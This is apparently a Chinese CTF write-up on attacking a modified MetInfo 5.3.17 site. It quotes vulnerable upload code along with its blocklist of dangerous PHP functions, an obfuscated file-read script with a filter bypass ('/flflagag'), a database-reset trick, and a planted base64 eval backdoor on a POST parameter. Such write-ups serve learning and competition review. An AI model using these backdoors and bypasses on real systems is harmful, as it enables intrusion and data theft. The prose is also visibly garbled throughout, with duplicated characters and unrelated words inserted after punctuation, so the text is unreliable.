0x00 前言
首先會(huì)回過(guò)頭來(lái)重新分析一次這道web題主要是因?yàn)樯洗尉€下的時(shí)候全場(chǎng)一直在打了一個(gè)洞瞻坝,最后成信的師傅用重置數(shù)據(jù)庫(kù)方法妇垢,從后臺(tái)getshell一路追分驳概,這里先膜一發(fā)贩虾。這次web題的框架是Metinfo 5.3.17的杆麸。
0x01 后臺(tái)getshell
這個(gè)洞也可以說(shuō)是坑了一波,以前都調(diào)過(guò)Metinfo的后臺(tái)恢復(fù)數(shù)據(jù)庫(kù)文件getshell浪感,在:安全—>備份與恢復(fù) 中通過(guò)上傳數(shù)據(jù)庫(kù)備份.zip文件getshell昔头,這里主要是因?yàn)?admin\include\uploadify.php
elseif($type=='skin'){
/*模板文件*/
$filetype=explode('.',$_FILES['Filedata']['name']);
if($filetype[count($filetype)-1]=='zip'){
if(stristr($met_file_format,'zip') === false){
echo $lang_jsx36;
die();
}
//if(!is_writable('../../templates/'))@chmod('../../templates/',0777);
$filenamearray=explode('.zip',$_FILES['Filedata']['name']);
$skin_if=$db->get_one("SELECT * FROM {$met_skin_table} WHERE skin_file='{$filenamearray[0]}'");
if($skin_if){
$metinfo=$lang_loginSkin;
}else{
$f = new upfile('zip','../../templates/','','');
if($f->get_error()){
echo $f->get_errorcode();
die();
}
if(file_exists('../../templates/'.$filenamearray[0].'.zip'))$filenamearray[0]='metinfo'.$filenamearray[0];
$met_upsql = $f->upload('Filedata',$filenamearray[0]);
include "pclzip.lib.php";
$archive = new PclZip('../../templates/'.$filenamearray[0].'.zip');
if($archive->extract(PCLZIP_OPT_PATH, '../../templates/') == 0)$metinfo=$archive->errorInfo(true);
$list = $archive->listContent();
$error=0;
foreach($list as $key=>$val){
if(preg_match("/\.(asp|aspx|jsp)/i",$val[filename])){
$error=1;
}
if(!is_dir('../../templates/'.$val[filename])&&preg_match("/\.(php)/i",$val[filename])){
$danger=explode('|','preg_replace|assert|dirname|file_exists|file_get_contents|file_put_contents|fopen|mkdir|unlink|readfile|eval|cmd|passthru|system|gzuncompress|exec|shell_exec|fsockopen|pfsockopen|proc_open|scandir');
$ban='preg_replace|assert|eval|\$_POST|\$_GET';
foreach($danger as $key1 => $val1){
$str=file_get_contents('../../templates/'.$val[filename]);
$str=str_replace(array('\'','"','.'),'',$str);
if(preg_match("/([^A-Za-z0-9_]$val1)[\r\n\t]{0,}([\[\(])/i",$str)){
$error=1;
}
if(preg_match('/('.$ban.')/i',$str)){
$error=1;
}
}
}
}
@unlink('../../templates/'.$filenamearray[0].'.zip');
if($error){
foreach($list as $key=>$val){
if(is_dir('../../templates/'.$val[filename])){
@deldir('../../templates/'.$val[filename]);
}else{
@unlink('../../templates/'.$val[filename]);
}
}
$metinfo='含有危險(xiǎn)函數(shù),禁止上傳S笆蕖揭斧!';
}else{
$metinfo='1$'.$filenamearray[0];
}
}
上傳的.zip文件會(huì)自動(dòng)解壓,上傳成功后在/templates目錄下生成shell峻堰,由于本次源碼被調(diào)整過(guò)讹开,在恢復(fù)備份文件處有一個(gè)資源調(diào)用的問(wèn)題,導(dǎo)致打開(kāi)的時(shí)候特別慢捐名,可以說(shuō)沒(méi)法利用吧旦万,而這次主要是利用另一個(gè)上傳點(diǎn),直接通過(guò)修改上傳文件類(lèi)型來(lái)上傳.php文件:安全->安全與效率->上傳文件
這種getshell的方法不要智商的镶蹋,所以就不多說(shuō)了成艘。
0x02 混淆源碼命令執(zhí)行
利用點(diǎn):produ/picture.inc.php文件赏半,源碼進(jìn)行混淆過(guò),所以挖掘的時(shí)候必須首先解混淆淆两,這里我是直接上網(wǎng)進(jìn)行源碼修復(fù)的断箫,修復(fù)出來(lái)簡(jiǎn)單修改一下變量也基本就能看懂。
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http:
$b=@$_GET[$GLOBALS['OOO0000O0']('Y2hlYw==')];
if ($b!="")
{
$a = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($b),0,9);
$c = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSUkx')](md5($a),5,18);
$c = md5($c);
echo $c;
exit();
}
$d = @$_GET[$GLOBALS['OOO0000O0']('img_tet')];
$d = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWwx')]($d);
$d = str_replace( $GLOBALS['OOO0000O0']('flag'),"",$d);
if ($d!="")
{
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Type: imgage/jpeg'));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Disposition: attachment; filename=').$d);
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFJ')]($GLOBALS['OOO0000O0']('Content-Lengh: ').$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d));
$e = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($d,"r") or die("Unable to open file!");
$f = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbEkx')]($e,$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTFs')]($d));
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxJ')]($e);
echo $f;
}
;
echo $GLOBALS['OOO0000O0']('Cg==');
?>
也就是Get一個(gè)參數(shù)img_tet,檢測(cè)傳參內(nèi)容是否有flag秋冰,有的話(huà)就替換為空格所以直接利用:cat /flflagag就可以繞過(guò)檢測(cè)仲义,這也是全場(chǎng)一次在打的一個(gè)洞。下面也貼出其他師傅解混淆的方法剑勾,建一個(gè)php文件
<?php
include('picture.inc.php');
var_dump(get_defined_vars());
?>
調(diào)用函數(shù)var_dump(get_defined_vars())進(jìn)行反混淆埃撵,本地運(yùn)行可以得到一樣的源碼。這里直接貼出BXS師傅完全修復(fù)的源碼:
0x03 重置數(shù)據(jù)庫(kù)
利用安裝框架的配置文件甥材,重置數(shù)據(jù)庫(kù)這個(gè)也是迷盯另,不過(guò)利用起來(lái)也是沒(méi)有難度的,主要就看能不能找到這個(gè)頁(yè)面了洲赵,估計(jì)是主辦方故意留下這個(gè)頁(yè)面的鸳惯,利用方法,直接訪問(wèn) \include\frame 目錄下 index.php叠萍,直接就進(jìn)入了配置頁(yè)面
跟著走一遍芝发,重置一下網(wǎng)站,然后跳第一步Getshell就好苛谷。
0x04 主辦方設(shè)置的后門(mén)利用
對(duì)于這個(gè)后門(mén)辅鲸,調(diào)試也是到了比賽結(jié)束后,about/show.php 30腹殿、31行
$show_tiny=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJpY3FjdGZlciJdKTs='));
$show_tiny();
解base64后得到的是一個(gè)自帶后門(mén):@eval($_POST["icqctfer"]);
當(dāng)時(shí)在現(xiàn)場(chǎng)的時(shí)候看到這個(gè)就直接在show.php后用POST傳參icqctfer=********独悴,沒(méi)有得到任何想要的結(jié)果,當(dāng)時(shí)還以為大家都補(bǔ)了锣尉,沒(méi)有注意到源碼中還有限制條件刻炒,主要是在show.php中的
if(!$id && $class1)$id = $class1;
if(!is_numeric($id))okinfo('../404.html');
$show = $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1");
if(!$show||!$show['isshow']){
okinfo('../404.html');
}
is_numeric()函數(shù)要求變量id要是數(shù)字,這個(gè)地方比較好過(guò)自沧,由于對(duì)$id沒(méi)有做任何限制的坟奥,我們可以在本地調(diào)試測(cè)試,把變量id覆蓋就好了拇厢,不過(guò)后面的查詢(xún)語(yǔ)句也要求了id值得賦成1爱谁,payload:http://127.0.0.1/CTF/shanghai/default/about/show.php?id=1
之后主要是$show變量的問(wèn)題, $db->get_one("SELECT * FROM $met_column WHERE id='$id' and module=1")將表met_column的第一行信息以數(shù)組的方式賦值給變量show孝偎,本地查看數(shù)據(jù)庫(kù)
其中isshow列默認(rèn)值為 0
而要過(guò)條件if(!$show||!$show['isshow'])只有當(dāng)$show = 1或者$show['isshow'] = 1访敌,而從數(shù)據(jù)庫(kù)中看來(lái)使得$show = 1是不可能的,我們沒(méi)法把對(duì)方的數(shù)據(jù)庫(kù)id = 1的所有信息都置1衣盾,所以只有將$show['isshow']置 1 捐顷。而要將變量$show['isshow']置 1荡陷,需要進(jìn)入Metinfo后臺(tái):設(shè)置->欄目 中修改about的參數(shù),將 添加內(nèi)容 段改成允許迅涮,就可以將isshow置為1,從而通過(guò)條件废赞,就可以利用icqctfer了。
那么問(wèn)題來(lái)了叮姑,要想進(jìn)后臺(tái)修改配置利用這個(gè)后門(mén)唉地,除非一上手在別人沒(méi)改密碼之前進(jìn)入別人后臺(tái)修改,等大家都把后臺(tái)密碼改了传透,也就只有通過(guò)重置數(shù)據(jù)庫(kù)的方法進(jìn)入后臺(tái)耘沼,既然后重置數(shù)據(jù)庫(kù)進(jìn)入后臺(tái)了,還不如上傳木馬來(lái)打朱盐,所以這個(gè)后門(mén)看似簡(jiǎn)單群嗤,其實(shí)用起來(lái)太麻煩,價(jià)值也不高兵琳。
0x04 結(jié)語(yǔ)
本菜因才疏學(xué)淺狂秘,只挖到了部分的洞,因?yàn)樯洗卧趫?chǎng)上的時(shí)候有師傅直接把網(wǎng)站頁(yè)面給改寫(xiě)了躯肌,說(shuō)明還有其他的利用點(diǎn)者春,這里膜一下,本文章只用來(lái)學(xué)習(xí)記錄清女。